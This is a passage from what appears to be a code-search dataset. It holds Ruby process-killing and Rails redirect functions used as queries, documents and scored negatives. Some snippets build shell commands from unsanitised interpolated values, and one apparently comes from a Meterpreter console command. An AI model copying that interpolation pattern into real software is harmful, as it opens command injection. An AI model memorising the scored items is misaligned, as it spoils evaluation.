#{procfilter}\")\n if rc == 0\n procset = out.split.join(' ')\n logger.error \"ERROR: failed to kill all processes for #{uid}: PIDs #{procset}\"\n end\n end",
"def kill_workers\n pids = %x{ps --ppid #{pid}}.split(/\\n+/).map {|line| line.sub(%r{^\\s*(\\d+)\\s+.*}, '\\\\1').to_i}\n pids.shift\n pids.each {|id| Process.kill('KILL', id) rescue nil}\n end",
"def kill_processes(pid_array)\n command = 'taskkill '\n pid_array.each do |pid|\n command = command + \"/pid #{pid} \"\n end\n `#{command}`\n end",
"def setup\n %w{ echo_server deaf_server stubborn_server simple_server }.each do |server|\n begin\n Process.kill 9, possible_pid(server)\n rescue Errno::ESRCH\n # good, no process to kill\n end\n begin\n File.unlink pid_file(server)\n rescue Errno::ENOENT\n # good, no pidfile to clear\n end\n end\n end",
"def kill_importers\n ps = `ps -ef | grep 'importer:start'`\n rake_processes = ps.split(\"\\n\").select { |process| process !~ /grep/ }\n rake_pids = rake_processes.map { |process| process.split[1] }\n pids = rake_pids.reject { |pid| Process.pid.to_s == pid }.map(&:to_i)\n pids.each { |pid| Process.kill('TERM', pid) }\n end",
"def kill_processes(pid_json)\n unless File.exist? pid_json\n $logger.error \"File `#{pid_json}` not found. It is possible that processes have been orphaned.\"\n exit 1\n end\n windows = is_windows?\n find_windows_pids(pid_json) if windows\n pid_hash = ::JSON.parse(File.read(pid_json), symbolize_names: true)\n pid_array = []\n pid_array << pid_hash[:mongod_pid] if pid_hash[:mongod_pid]\n pid_array += pid_hash[:dj_pids] if pid_hash[:dj_pids]\n pid_array << pid_hash[:rails_pid] if pid_hash[:rails_pid]\n pid_array += pid_hash[:child_pids] if pid_hash[:child_pids]\n pid_array.each do |pid|\n begin\n if windows\n # Check if a process with this PID exists before attempting to kill\n pid_exists = system('tasklist /FI' + ' \"PID eq ' + pid.to_s + '\" 2>NUL | find /I /N \"' + pid.to_s + '\">NUL')\n if pid_exists\n system_return = system('taskkill', '/pid', pid.to_s, '/f', '/t')\n raise StandardError unless system_return\n else\n $logger.warn \"No process with PID #{pid} exists, did not attempt to kill\"\n next\n end\n else\n ::Process.kill('SIGKILL', pid)\n end\n rescue\n $logger.error \"Attempted to kill process with PID `#{pid}`. The success of the attempt is unclear\"\n next\n end\n $logger.debug \"Killed process with PID `#{pid}`.\"\n end\n ::File.delete(pid_json)\nend",
"def kill_all_proxies\n processes = Zerg::Support::Process.processes\n processes.each do |proc_info|\n next unless /tem_proxy/ =~ proc_info[:command_line]\n @logger.info \"Mass-killing TEM proxy (pid #{proc_info[:pid]})\"\n Zerg::Support::Process::kill_tree proc_info[:pid]\n end\n end",
"def stop_local_server(rails_pid, dj_pids, mongod_pid, child_pids = [])\n successful = true\n windows = is_windows?\n dj_pids.reverse.each do |dj_pid|\n pid_kill_success = kill_pid(dj_pid, 'delayed-jobs', windows)\n successful = false unless pid_kill_success\n end\n\n pid_kill_success = kill_pid(rails_pid, 'rails', windows)\n successful = false unless pid_kill_success\n\n pid_kill_success = kill_pid(mongod_pid, 'mongod', windows)\n successful = false unless pid_kill_success\n\n child_pids.each do |child_pid|\n kill_pid(child_pid, 'child-process', windows)\n successful = false unless pid_kill_success\n end\n\n sleep 2 # Keep the return from beating the stdout text\n\n unless successful\n $logger.error 'Not all PID kills were successful. Please investigate the error logs.'\n return false\n end\n\n true\nend",
"def clean_exit_pids(pids)\n pids.map do |pid|\n begin\n pid if Process.kill 0, pid\n rescue Errno::ESRCH\n nil\n end\n end.compact\n end",
"def stop_apps\n ps_out = []\n\tif !Has_Sys_ProcTable\n\t\tIO.popen(PS_command).each do |line|\n\t\t\tps_out.push line\n\t\tend\n\telse\n\t\tProcTable.ps do |ps|\n\t\t\tps_out.push ps\n\t\tend\n\tend\n\n File.open(Conf,'r').each do |filename|\n filename.chomp!\n next if (ARGV[1].to_s != '' and ARGV[1].to_s != filename)\n pid_to_kill = 0\n\n # First we check to see if we have mention of the app in the PID\n # database. Normally, we should. If we don't have mention of the\n # app in the PID database, then the process table must be searched\n # to attempt to find the app and it's PID so that we have something\n # to kill.\n\n if ((@pid_db[filename].to_i || 0) > 0)\n pid_to_kill = @pid_db[filename].to_i\n else\n\t\t\tif Has_Sys_ProcTable\n\t\t\t\tps_out.each do |ps|\n\t\t\t\t\tif (ps.cmdline =~ /ruby\\s+#{filename}\\s*$/)\n\t\t\t\t\t\t\tpid_to_kill = ps.pid.to_i\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n ps_out.each do |line|\n if (line =~ /ruby\\s+#{filename}\\s*$/)\n line =~ /^\\S+\\s+(\\d+)/\n pid_to_kill = $1.to_i\n\t\t\t\t\t\tbreak\n end\n\t\t\t\tend\n\t\t\tend\n end\n\n # Make sure that a PID to kill was found. This is paranoia in case\n # the app were killed manually or died unexpectedly at some point.\n # it'd be a real bummer to kill someone's shell session just because\n # they had the dumb luck to inherit a PID number that used to belong\n # to an Iowa app.\n\n k = false\n if (pid_to_kill > 0)\n begin\n Process.kill('SIGTERM',pid_to_kill)\n k = true\n rescue Exception\n puts \"Error killing PID #{pid_to_kill} (#{filename})\"\n\t\t\tend\n puts \"Stopped PID #{pid_to_kill} (#{filename})\" if k\n else\n puts \"Warning: Can't find a PID for #{filename}\"\n\t\tend\n\n @pid_db.delete filename if k\n end\nend",
"def kill_and_reap(pids)\n puts \"Sending signals...\"\n sig = :KILL\n pids.each do |pid|\n puts \"== kill #{pid} with #{sig}\"\n Process.kill(sig, -1 * pid.to_i)\n end\n\n pids.each do |pid|\n puts \"=== Waiting for: #{pid} #{Process.waitpid2(pid)}\"\n end\nend",
"def killall_cmd\n \"kill -9 `pgrep #{soffice_pname} #{unoconv_pname}`\"\n end",
"def stop_all(force = false)\n @monitor.stop if @monitor\n \n failed_to_kill = false\n debug = options[:debug]\n wait = options[:force_kill_wait].to_i\n pids = unix_pids\n if wait > 0 && pids.size > 0\n puts \"[daemons_ext]: Killing #{app_name} with force after #{wait} secs.\"\n STDOUT.flush\n\n # Send term first, don't delete PID files.\n pids.each {|pid| Process.kill('TERM', pid) rescue Errno::ESRCH}\n\n begin\n Timeout::timeout(wait) {block_on_pids(wait, debug, options[:sleepy_time] || 1)}\n rescue Timeout::Error\n puts \"[daemons_ext]: Time is up! Forcefully killing #{unix_pids.size} #{app_name}(s)...\"\n STDOUT.flush\n unix_pids.each {|pid| `kill -9 #{pid}`}\n begin\n # Give it an extra 30 seconds to kill -9\n Timeout::timeout(30) {block_on_pids(wait, debug, options[:sleepy_time] || 1)}\n rescue Timeout::Error\n failed_to_kill = true\n puts \"[daemons_ext]: #{unix_pids} #{app_name}(s) won't die! Giving up.\"\n STDOUT.flush\n end\n ensure\n # Delete Pidfiles\n @applications.each {|a| a.zap!}\n end\n\n puts \"[daemons_ext]: All #{app_name}s dead.\" unless failed_to_kill\n STDOUT.flush\n else\n @applications.each {|a| \n if force\n begin; a.stop; rescue ::Exception; end\n else\n a.stop\n end\n }\n end\n end",
"def cleanup\n @omicli_pgids.each do |pgid|\n `pkill -KILL -g #{pgid}`\n end\n @omicli_pgids.clear\n end",
"def kill_instruments(_=nil)\n instruments_pids.each do |pid|\n terminator = RunLoop::ProcessTerminator.new(pid, \"QUIT\", \"instruments\")\n unless terminator.kill_process\n terminator = RunLoop::ProcessTerminator.new(pid, \"KILL\", \"instruments\")\n terminator.kill_process\n end\n end\n end",
"def stop_remote_processes\n\t remote_processes.reverse.each do |pid, quit_w|\n\t\tbegin\n\t\t quit_w.write('OK') \n\t\trescue Errno::EPIPE\n\t\tend\n\t\tbegin\n\t\t Process.waitpid(pid)\n\t\trescue Errno::ECHILD\n\t\tend\n\t end\n\t remote_processes.clear\n\tend",
"def kill_spork(pid_file)\n pid = File.read(pid_file).to_i\n Process.kill(\"INT\", pid); sleep 1\n pid\n end",
"def stop\n system(\"ps -aux | grep rackup\")\n puts \"Stoping clusters...\"\n for app in @apps\n if @env == :deployment\n pid_file = \"#{APP_PATH}/log/doozer.#{app[:port]}.pid\"\n puts \"=> Reading pid from #{pid_file}\" \n if File.exist?(pid_file)\n File.open(pid_file, 'r'){ | f | \n pid = f.gets.to_i\n puts \"=> Shutting down process #{pid}\"\n system(\"kill -9 #{pid}\")\n\n }\n File.delete(pid_file) \n else\n puts \"ERROR => pid file doesn't exist\"\n end\n end\n end\n sleep(1)\n system(\"ps -aux | grep rackup\")\nend",
"def kill\n active_slaves.each_value { |s| s.kill(join: false) }\n while has_active_slaves?\n finished_child = Process.waitpid2(-1)\n process_finished_slave(*finished_child)\n end\n rescue Errno::ECHILD\n end",
"def kill_all!\n @monkeys.each(&:kill) unless @monkeys.empty?\n monkeys = @monkeys.dup\n @monkeys.clear\n\n monkeys\n end",
"def stop_remote_processes\n remote_processes.reverse.each do |pid, quit_w|\n begin\n quit_w.write(\"OK\")\n rescue Errno::EPIPE\n end\n begin\n Process.waitpid(pid)\n rescue Errno::ECHILD\n end\n end\n remote_processes.clear\n end",
"def kill_orphaned_services\n cleaned_labels = []\n cleaned_services = []\n running.each do |label|\n if (service = FormulaWrapper.from(label))\n unless service.dest.file?\n cleaned_labels << label\n cleaned_services << service\n end\n else\n opoo \"Service #{label} not managed by `#{bin}` => skipping\"\n end\n end\n kill(cleaned_services)\n cleaned_labels\n end",
"def terminate_process_tree(pid)\n child_pids = remote_processes.select { |p| p.ppid == pid }.collect(&:pid)\n child_pids.each { |cpid| terminate_process_tree(cpid) }\n terminate_process(pid)\n end",
"def kill_pids_by_regexp(regexp)\n pids = pids_by_regexp(regexp).keys\n kill_pids pids\n end",
"def kill_each_worker(signal)\n WORKERS.keys.each { |wpid| kill_worker(signal, wpid) }\n end",
"def kill_children(signal=\"SIGTERM\")\n if Foreman.windows?\n @running.each do |pid, (process, index)|\n system \"sending #{signal} to #{name_for(pid)} at pid #{pid}\"\n begin\n Process.kill(signal, pid)\n rescue Errno::ESRCH, Errno::EPERM\n end\n end\n else\n begin\n pids = @running.keys.compact\n Process.kill signal, *pids unless pids.empty?\n rescue Errno::ESRCH, Errno::EPERM\n end\n end\n end",
"def reap_children\n @child_list.each do |pid|\n Process.kill('SIGKILL', pid)\n\t Process.wait pid\n end\n end",
"def reap_workers\n workers.each do |pid, _|\n terminate(pid)\n end\n\n begin\n # waits for every children to terminate\n loop { Process.wait }\n rescue Errno::ECHILD\n # if there are no more children, continue\n end\n\n # clean up the PID data structure for the worker processes\n workers.clear\n end",
"def kill\n server.kill\n end",
"def kill_monkeys\n ADB.kill_monkeys(@device_list)\n end",
"def kill_each_worker(signal)\n WORKERS.keys.each { |wpid| kill_worker(signal, wpid) }\n end",
"def kill_pids(pids, signal = 9, recursive = true)\n pids = Array pids\n\n pids_to_kill = pids.inject([]) do |all_pids, pid|\n pid = pid.to_i\n if recursive\n all_pids + get_children_pids(pid)\n else\n all_pids << pid\n end\n end\n\n pids_to_kill.uniq!\n pids_to_kill.sort!\n\n return false unless pids_to_kill.any?\n log \"Kill these pids: #{pids_to_kill.join ', '} with signal #{signal}\"\n run \"kill -#{signal} #{pids_to_kill.join ' '}\"\n end",
"def kill_all(type = :all)\n kill_all_from(pid_file_for(type))\n return false\n end",
"def stop_all(wait=true)\n if script_to_run?('terminate')\n options = { \"DB_TERMINATE_SAFETY\" => \"text:off\" }\n run_script_on_set('terminate', @servers.select { |s| s.state != 'stopped' }, wait, options)\n # @servers.each { |s|run_script('terminate', s, options) unless s.state == 'stopped' }\n else\n @servers.each { |s| obj_behavior(s, :stop) }\n end\n \n wait_for_all(\"stopped\") if wait\n # unset dns in our local cached copy..\n @servers.each { |s| s.params['dns-name'] = nil } \n end",
"def kill_process!\n ::Process.kill 9, ::Process.pid\n end",
"def kill_everybody! why\n\t\t\tModel::Instance.live_on_host(host).each { |i| kill i, why }\n\t\tend",
"def kill_orphaned_services\n cleaned = []\n running.each do |label|\n if (svc = FormulaWrapper.from(label))\n unless svc.dest.file?\n puts format(\"%-15.15<name>s #{Tty.bold}stale#{Tty.reset} => killing service...\", name: svc.name)\n kill(svc)\n cleaned << label\n end\n else\n opoo \"Service #{label} not managed by `#{bin}` => skipping\"\n end\n end\n cleaned\n end",
"def pkill_action\n validate :signal, :shellsafe\n validate :pattern, String\n\n pids_to_kill = []\n\n get_proc_list(request[:pattern], false).each do |ps|\n pids_to_kill << ps[:pid]\n end\n\n # Sanity check \n if get_proc_list(\".\", false).size == pids_to_kill.size\n reply.fail \"Pattern matches all (#{pids_to_kill.size}) processes, refusing to kill\"\n return\n else\n reply[:killed] = 0\n\n pids_to_kill.each do |pid| \n system(\"logger -t mcolletive 'killing pid #{pid} based on pattern #{request[:pattern]}'\")\n\n killpid(request[:signal], pid)\n\n # bail out if something went wrong\n last if reply.statuscode > 0\n\n reply[:killed] += 1\n end\n end\n end",
"def server_stop\n Process.kill 'INT', 0\n end",
"def kill\n ck_valid\n Process.kill 9, @pid if running?\n\n invalidate\n end",
"def reap_all_workers\n begin\n wpid, status = Process.waitpid2(-1, Process::WNOHANG)\n wpid or return\n if reexec_pid == wpid\n logger.error \"reaped #{status.inspect} exec()-ed\"\n self.reexec_pid = 0\n self.pid = pid.chomp('.oldbin') if pid\n proc_name 'master'\n else\n worker = WORKERS.delete(wpid) and worker.close rescue nil\n m = \"reaped #{status.inspect} worker=#{worker.nr rescue 'unknown'}\"\n status.success? ? logger.info(m) : logger.error(m)\n end\n rescue Errno::ECHILD\n break\n end while true\n end",
"def killall\n begin\n\t @connections.each do |k,v| \n\t v[:thread].exit! unless v[:thread].nil?\n\t v.shutdown!\n\t end\n rescue Exception\n end\n initialize\n end",
"def kill(pid)\n process_kill(9, pid) #SIGKILL\n @pids.delete(pid)\n\n end",
"def stop_all\n @servers.each do |s|\n terminate_server(s) if s.state == 'operational' || s.state == 'stranded'\n end\n @servers.each { |s| s.wait_for_state(\"stopped\") }\n # unset dns in our local cached copy..\n @servers.each { |s| s.params['dns-name'] = nil }\n end",
"def reap_all_workers\n begin\n wpid, status = Process.waitpid2(-1, Process::WNOHANG)\n wpid or return\n if reexec_pid == wpid\n logger.error \"reaped #{status.inspect} exec()-ed\"\n self.reexec_pid = 0\n self.pid = pid.chomp('.oldbin') if pid\n proc_name 'master'\n else\n worker = WORKERS.delete(wpid) and worker.close rescue nil\n m = \"reaped #{status.inspect} worker=#{worker.number rescue 'unknown'}\"\n status.success? ? logger.info(m) : logger.error(m)\n end\n rescue Errno::ECHILD\n break\n end while true\n end",
"def stop\n # use pid in controlling process, webrick in server process\n @webrick.shutdown if @webrick\n Process.kill('INT', @pid) if @pid\n end",
"def kill()\n System.run(\"kill\", \"-9\", @pid.to_s) if @pid\n end",
"def kill_on_ctrl_c(pids, options); end",
"def cleanup\n log.info(\"Shutting down\")\n @lifelines.each do |pid, lifeline|\n begin\n lifeline.close\n rescue IOError\n end\n end\n socket.close\n remove_pid_file\n end",
"def stop_all(wait=true)\n if @scripts_to_run['terminate']\n options = { \"DB_TERMINATE_SAFETY\" => \"text:off\" }\n @servers.each { |s| s.run_executable(@scripts_to_run['terminate'], options) unless s.state == 'stopped' }\n else\n @servers.each { |s| s.stop }\n end\n\n wait_for_all(\"stopped\") if wait\n # unset dns in our local cached copy..\n @servers.each { |s| s.params['dns-name'] = nil } \n end",
"def kill_server\n if Lsof.running?(7125)\n Lsof.kill(7125)\n end\n end",
"def server_pids\n `lsof -wni | grep ruby | grep IPv4 | awk '{print $2}'`\n end",
"def daemon_clean_up\n TaskQueue.where(id: $daemon[:heartbeat_task_queue_id]).destroy_all\n File.delete($daemon[:pid_file])\nend",
"def kill_process(pid)\n Net::SSH.start(@ip, \"pipeline\") do |ssh|\n ssh.exec! \"kill #{pid}\"\n end\n end",
"def stop_workers\n for worker in workers\n for child in worker.childs\n child.die!\n end\n end\n workers.clear\n end",
"def run_servers(do_fork = true, which = [])\n each_server do |server, name|\n puts name\n next unless which.empty? or which.include?(name)\n\n if File.exists?(server[:files][:pid])\n Supernova.logger.warn {\n \"PID file #{server[:files][:pid]} already exists. \" +\n \"Ignoring server definition.\"\n }\n next\n end\n\n if do_fork\n process_id = fork\n end\n\n if process_id\n File.open(server[:files][:pid], \"w\") { |f| f.write process_id }\n Process.detach(process_id)\n else\n if do_fork\n Supernova.logger = Logger.new(server[:files][:log], 10, 1_024_000)\n $stdin = $stdout = $stderr = File.open(\"/dev/null\", \"a\")\n end\n\n if server[:files][:client]\n require server[:files][:client]\n end\n\n s = Supernova::Starbound::Server.new(server)\n trap('INT') {\n s.shutdown\n File.delete(server[:files][:pid]) rescue Errno::ENOENT\n }\n return s.listen\n end\n end\n end",
"def teardown_connections_to(servers)\n servers.each do |server|\n sessions[server].close\n sessions.delete(server)\n end\n end",
"def perform\n server_has_new_pid_file? && pid and kill_pid\n end",
"def remove_servers(servers_to_destroy=[])\n servers_to_destroy.each do |server|\n puts \"Destroying...\" + server.id\n do_client.droplets.destroy(:id => server.id)\n end\n end",
"def foreman_pids\n `ps aux | grep \"[f]oreman: master\" | awk '{ print $2 }'`.split(\"\\n\")\n end",
"def kill_threads\n threads.each{|thread| thread.terminate}\n self.threads = []\n end",
"def shutdown\n @forks.each { |w| Process.kill('SIGINT', w[:pid].to_i) }\n Process.kill('SIGINT', @master)\n end",
"def daemon_pids\n prog_name = Log2mail::PROGNAME\n own_pid = Process.pid\n # FIXME: finding daemon pids by using pgrep is NOT 'optimal' :-)\n `pgrep -f #{prog_name}`.split.map(&:to_i) - [own_pid]\n end",
"def stop_server\n case status_server\n when 1\n puts 'server is not running'\n return 1\n when -1\n puts \"pid file doesn't exist.\"\n return 1\n end\n\n Process.kill(:TERM, server_pid)\n sleep 1\n if FileTest.exist?(\"/proc/#{server_pid}\")\n begin\n timeout(90) do\n print_flush 'waiting the server to stop'\n loop do\n unless FileTest.exist?(\"/proc/#{server_pid}\")\n break\n else\n sleep 2; print_flush '.'\n end\n end\n end\n rescue Timeout::Error\n puts 'Timeout reached.'\n Process.kill(:KILL, server_pid)\n end\n end\n FileUtils.rm(PID_FILE)\n\n return 0\nend",
"def shutdown_server(which = nil)\n which = if which.nil?\n @servers.keys\n else\n [which]\n end\n which.each do |id|\n @server_threads[id].raise LogCourier::ShutdownSignal\n @server_threads[id].join\n @server_threads.delete id\n @server_counts.delete id\n @servers.delete id\n end\n nil\n end",
"def stop\n daemon_workers.each do |pid, worker_threads|\n worker_threads.each(&:kill)\n worker_threads.clear\n end\n exit\n end",
"def terminate_process(pid)\n signals = %i[INT TERM KILL]\n counter = 0\n while process_running?(pid)\n self.exec!(\"kill -#{signals[counter]} #{pid}\")\n sleep(5)\n counter += 1 unless counter == 2\n end\n end",
"def delete_all_servers\n super\n end",
"def killall(signal=\"SIGTERM\")\n if Foreman.windows?\n kill_children(signal)\n else\n begin\n Process.kill \"-#{signal}\", Process.pid\n rescue Errno::ESRCH, Errno::EPERM\n end\n end\n end",
"def remove_servers ids\n @station.remove_servers ids\n end",
"def shutdown\n unless @forks.empty?\n @forks.each { |w| Process.kill('QUIT', w[:pid].to_i) }\n end\n Process.waitall\n Process.kill('SIGTERM', @master)\n end",
"def stop\n system(\"pkill -f #{DAEMON}\")\n end",
"def unix_pids\n pids = []\n x = `ps auxw | grep -v grep | awk '{print $2, $11}' | grep #{app_name}`\n if x && x.chomp!\n processes = x.split(/\\n/).compact\n processes = processes.delete_if do |p|\n pid, name = p.split(/\\s/)\n # We want to make sure that the first part of the process name matches\n # so that app_name matches app_name_22\n app_name != name[0..(app_name.length - 1)]\n end\n pids = processes.map {|p| p.split(/\\s/)[0].to_i}\n end\n\n pids\n end",
"def unix_pids\n pids = []\n x = `ps auxw | grep -v grep | awk '{print $2, $11}' | grep #{app_name}`\n if x && x.chomp!\n processes = x.split(/\\n/).compact\n processes = processes.delete_if do |p|\n pid, name = p.split(/\\s/)\n # We want to make sure that the first part of the process name matches\n # so that app_name matches app_name_22\n app_name != name[0..(app_name.length - 1)]\n end\n pids = processes.map {|p| p.split(/\\s/)[0].to_i}\n end\n\n pids\n end",
"def kill(pid)\n `kill -9 #{pid}`\n end",
"def terminate\n $consumers.each{|_proc| Process.kill(SIGKILL, _proc.pid) rescue nil}\n $producers.each{|_thr| Thread.kill(_thr) rescue nil}\n File.delete(LockFileName) rescue nil\nend",
"def kill_process_with_pid( pid_file_path )\n if File.exist? pid_file_path\n pid_file = File.open( pid_file_path, 'rb' )\n pid = pid_file.read.to_i\n pid_file.close\n begin\n Process.kill( 'SIGKILL', pid )\n rescue\n # Pid file exists but process is dead. Do nothing\n end\n File.delete pid_file_path\n end\n end",
"def cmd_pkill(*args)\n if args.include?('-h')\n cmd_pkill_help\n return true\n end\n\n all_processes = client.sys.process.get_processes\n processes = match_processes(all_processes, args)\n\n if processes.length == 0\n print_line(\"No matching processes were found.\")\n return true\n end\n\n if processes.length == all_processes.length && !args.include?('-f')\n print_error(\"All processes will be killed, use '-f' to force.\")\n return true\n end\n\n pids = processes.collect { |p| p['pid'] }.reverse\n print_line(\"Killing: #{pids.join(', ')}\")\n client.sys.process.kill(*(pids.map { |x| x }))\n true\n end",
"def stop \n logger.debug \"Instance stop method called for pid '#{pid}'\"\n if pid\n if @process\n @process.stop\n else\n Process.kill(\"KILL\", pid) rescue nil\n end\n\n Dir.chdir(@felix_home) do\n begin\n stop_process.start\n rescue\n\t#Forget about exceptions here because it is probably just the spec tests\n\t#FIXME actually handle this\n end\n end\n\n begin\n File.delete(pid_path)\n rescue\n end\n end\n end",
"def teardown\n Process.kill('KILL',@pid)\n end",
"def shutdown\n unless @forks.empty?\n @forks.each { |w| Process.kill('SIGTERM', w[:pid].to_i) }\n end\n Process.kill('SIGTERM', @master)\n end",
"def remove_pid_file\n @options[:possible_pid_files].each do |pid_file|\n begin\n File.unlink(pid_file)\n log.debug(\"Removed PID file `#{pid_file}'\")\n rescue Errno::EACCES, Errno::ENOENT\n end\n end\n end",
"def killall\n scheduler_enabled = scheduler.enabled?\n\n plan.permanent_tasks.clear\n plan.permanent_events.clear\n plan.missions.clear\n plan.transactions.each do |trsc|\n trsc.discard_transaction!\n end\n\n scheduler.enabled = false\n quit\n join\n\n if @application_exceptions\n process_pending_application_exceptions\n end\n\n start_new_cycle\n process_events\n cycle_end(Hash.new)\n\n ensure\n scheduler.enabled = scheduler_enabled\n end",
"def destroy\n Process.kill(9, pid)\n end",
"def kill_mac_processes!\n system('killall PTPCamera 1>/dev/null')\n end",
"def restart_running_instances_services\n nodes.each do |node|\n node.restart_with_monit\n end\n end",
"def get_pids\n pids_ports = []\n pids = `pgrep -f thin`.split\n pids.each do |t|\n # only works for linux i'm affraid\n # using lsof (list open files) \n\n # removed by someara to address munin permissions issue\n ## port = `lsof -p #{t} | grep LISTEN`.split[8]\n ## port = port.split(\":\")[1]\n port = `ps -ef | grep #{t} | grep -v grep | grep thin | awk '{ print $10 }' | awk -F: '{ print $2 }' | tr --delete '()'`.chomp\n pids_ports << [t,port]\n end\n pids_ports\n end",
"def clean_up\n access_processes do |processes|\n processes.values.select(&:exited?).each do |process|\n process.io.stdout.path.unlink rescue nil\n end\n processes.delete_if { |_, process| process.exited? }\n # Do not leak @processes outside\n # We are using dRuby, keep input/output objects simple\n nil\n end\n end",
"def kill_pid(signals = [:INT, :TERM, :KILL], timeout = KILL_TIMEOUT / signals.size.to_f)\n return unless @pid\n signal, *next_signals = *signals\n Process.kill signal, @pid\n Timeout.timeout(timeout) { Process.wait @pid }\n @pid = nil\n rescue Timeout::Error\n if next_signals.empty?\n raise Timeout::Error, \"Unable to kill server process within #{KILL_TIMEOUT} seconds (amazingly)\"\n end\n\n kill_pid(next_signals, timeout)\n rescue Errno::ECHILD, Errno::ESRCH\n # process doesn't exist\n @pid = nil\n end",
"def cleanup \n # close the sockets \n @servers.each{ |server| server[:listner].stop }\n @monitor.close\n end",
"def kill_instruments(r, w, pid)\n puts \"killing Instruments (pid #{pid})...\".red\n begin\n Process.kill(9, pid)\n w.close\n r.close\n Process.wait(pid)\n rescue PTY::ChildExited\n end\n end",
"def terminate!\n return if errored?\n @errored = true\n\n running_pids.each do |id|\n Process.kill('TERM', id)\n end\n end",
"def suspend_all_processes\n suspend_processes\n end",
"def stop\n pid_file = \"#{@server_root}/httpd.pid\"\n if File.exist?(pid_file)\n begin\n pid = File.read(pid_file).strip.to_i\n Process.kill('SIGTERM', pid)\n rescue Errno::ESRCH\n # Looks like a stale pid file.\n FileUtils.rm_r(@server_root)\n return\n end\n end\n begin\n # Wait until the PID file is removed.\n Timeout::timeout(17) do\n while File.exist?(pid_file)\n sleep(0.1)\n end\n end\n # Wait until the server socket is closed.\n Timeout::timeout(7) do\n done = false\n while !done\n begin\n socket = TCPSocket.new('localhost', @port)\n socket.close\n sleep(0.1)\n rescue SystemCallError\n done = true\n end\n end\n end\n rescue Timeout::Error\n raise \"Unable to stop Apache.\"\n end\n if File.exist?(@server_root)\n FileUtils.chmod_R(0777, @server_root)\n FileUtils.rm_r(@server_root)\n end\n end",
"def shutdown\n @@servers.values.each do |server|\n server.disconnect\n server.scheduler.remove_all\n end\n end",
"def kill\n\n threads.each { |t| t.raise(KillSignal) }\n end",
"def clean\n FileUtils.rm_f(cli.options[:pid])\n end",
"def __check_for_running_processes(pids)\n if `ps -p #{pids.join(' ')}`.split(\"\\n\").size < arguments[:number_of_nodes]+1\n __log \"\\n[!!!] Process failed to start (see output above)\".ansi(:red)\n exit(1)\n end\n end",
"def kill(pid)\n check_connection\n @protocol.kill_command pid\n self\n end",
"def stop_servers(signal_name)\n logger.info \"#{signal_name} signal received!\"\n @servers.each do |s|\n logger.info \"Shutting Down Server Queue: #{s.server_queue.name}\"\n s.channel.close\n end\n # Close the connection once all the other servers are shutdown\n CarrotRpc.configuration.bunny.close\n end"
] | [
"0.7158874",
"0.7088136",
"0.70101285",
"0.70016754",
"0.66099197",
"0.65603936",
"0.65290403",
"0.6455944",
"0.644798",
"0.6398452",
"0.6323112",
"0.6299266",
"0.62884915",
"0.62718755",
"0.62341315",
"0.6202883",
"0.6136912",
"0.61367756",
"0.6114428",
"0.6107549",
"0.6093969",
"0.6082763",
"0.60612774",
"0.60390997",
"0.6031982",
"0.6008636",
"0.6005811",
"0.5997084",
"0.5962058",
"0.5961439",
"0.5953114",
"0.59417903",
"0.59364325",
"0.59006536",
"0.589048",
"0.5880617",
"0.58770484",
"0.5875555",
"0.5874662",
"0.5858896",
"0.5855181",
"0.58515954",
"0.58414096",
"0.58241713",
"0.58213234",
"0.5817035",
"0.58048195",
"0.57967794",
"0.57859856",
"0.5780132",
"0.5750287",
"0.5745712",
"0.57355255",
"0.573351",
"0.5729182",
"0.57130086",
"0.5711493",
"0.5701783",
"0.5700719",
"0.56874704",
"0.5660426",
"0.56530714",
"0.56524104",
"0.56513554",
"0.5646914",
"0.56397897",
"0.5630574",
"0.5622638",
"0.5615068",
"0.56131965",
"0.5603527",
"0.5602554",
"0.5597762",
"0.5597762",
"0.55976176",
"0.55856365",
"0.5582764",
"0.5568552",
"0.5564131",
"0.5554787",
"0.5554719",
"0.5541694",
"0.553784",
"0.5534049",
"0.5517383",
"0.55119747",
"0.5507793",
"0.55073786",
"0.55060875",
"0.5491937",
"0.54891753",
"0.54826045",
"0.5479986",
"0.54648054",
"0.54593515",
"0.54580957",
"0.5450384",
"0.54458237",
"0.54436934",
"0.5440557"
] | 0.84458905 | 0 |
The default action, redirects to list. | def index
list
render :action => 'list'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index; redirect_to :action => 'list'; end",
"def index\n \n redirect_to ( :action => \"list\")\n end",
"def list\n redirect_to action: \"index\"\n end",
"def index\n redirect_to :action => :list\n end",
"def index\n redirect_to :action => \"list\"\n end",
"def index\n redirect_to :action => 'list'\n end",
"def index\r\n list\r\n render_action 'list'\r\n end",
"def index\n list\n render_action 'list'\n end",
"def index\n list\n #render :action => 'list'\n\n end",
"def index\n redirect_to :new\n end",
"def index; redirect_to '/'; end",
"def index\n\t\tlist\n\t\trender('list')\n\tend",
"def index\n\t\tlist\n\t\trender('list')\n\tend",
"def index\n \tlist\n \t#this renders out the list view template, you can make it any other if you want \n \trender('list')\n end",
"def index\n list #call the action\n render('list') #render the correct template not 'index'\n end",
"def index\n list\n\trender('list')\n end",
"def index\n # Never show a hacker list.\n redirect_to entries_path\n end",
"def index\n redirect_to(:action => :new)\n end",
"def index\n redirect_to :action => \"edit\" and return\n end",
"def index\n redirect_back_or_default \"/\"\n end",
"def index\r\n redirect_to :action => :login\r\n end",
"def index\n redirect_to playlists_path()\n end",
"def index\n list\n render(\"list\")\n end",
"def index\n redirect_to :action => \"home\"\n end",
"def index\n redirect_to :action => 'new'\n end",
"def index\n redirect_to :action => 'home'\n end",
"def index\n redirect_to user_path(current_user)\n end",
"def action\n \"index\"\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index \n redirect_to :action => \"new\"\n end",
"def index\n redirect_to \"/\"\n end",
"def index\n redirect_to \"/\"\n end",
"def index\n redirect_to \"/\"\n end",
"def index\n\t\tredirect_to blogs_path\n\tend",
"def index\n redirect_to '/'\n end",
"def index\n redirect_to :action => 'view', :id => Globals::DEFAULT_ID \n end",
"def default\n render :index\n end",
"def default\n render :index\n end",
"def index\n if is_logged_in\n redirect_to(:action=>'list')\n end\n #all logic in login_redirect_logic\n end",
"def index\n redirect_to root_url\n end",
"def index\n redirect_to root_url\n end",
"def index\n redirect_to root_url\n end",
"def index_view\n 'list'\n end",
"def index\n redirect_to :root\n end",
"def index\n redirect_to people_path\n end",
"def index\n redirect_to :action => \"new_or_edit\"\n end",
